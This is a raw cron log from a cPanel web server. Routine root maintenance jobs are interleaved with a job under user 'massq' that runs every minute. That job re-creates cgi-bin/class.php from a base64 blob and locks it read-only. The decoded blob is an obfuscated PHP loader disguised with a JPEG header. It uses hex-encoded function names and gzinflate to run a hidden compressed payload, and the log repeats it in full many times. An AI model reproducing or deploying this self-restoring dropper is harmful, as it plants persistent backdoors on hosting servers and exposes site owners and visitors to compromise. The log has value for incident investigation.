Sep  6 17:10:01 server CROND[31270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:10:01 server CROND[31271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:10:01 server CROND[31273]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:10:01 server CROND[31272]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:11:01 server CROND[32148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:11:01 server CROND[32149]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:11:01 server CROND[32150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:12:01 server CROND[32553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:12:01 server CROND[32554]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 17:12:01 server CROND[32555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:12:01 server CROND[32556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:13:01 server CROND[478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:13:01 server CROND[479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:13:01 server CROND[480]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:14:01 server CROND[881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:14:01 server CROND[882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:14:01 server CROND[883]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:15:01 server CROND[1352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:15:01 server CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:15:01 server CROND[1358]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 17:15:01 server CROND[1359]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:15:01 server CROND[1361]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:15:01 server CROND[1363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:15:01 server CROND[1362]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:15:01 server CROND[1360]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:16:01 server CROND[2230]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:16:01 server CROND[2232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:16:01 server CROND[2231]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:17:01 server CROND[2736]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:17:01 server CROND[2735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:17:01 server CROND[2737]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:18:01 server CROND[3147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:18:01 server CROND[3148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:18:01 server CROND[3149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:19:01 server CROND[3512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:19:01 server CROND[3513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:19:01 server CROND[3514]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:20:01 server CROND[3885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 17:20:01 server CROND[3886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 17:20:01 server CROND[3890]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 17:20:01 server CROND[3892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:20:01 server CROND[3893]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 17:20:01 server CROND[3896]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 17:20:01 server CROND[3894]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 17:20:01 server CROND[3897]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:20:01 server CROND[3895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:21:01 server CROND[4708]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 17:21:01 server CROND[4710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:21:01 server CROND[4707]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 17:22:01 server CROND[5184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 17:22:01 server CROND[5183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
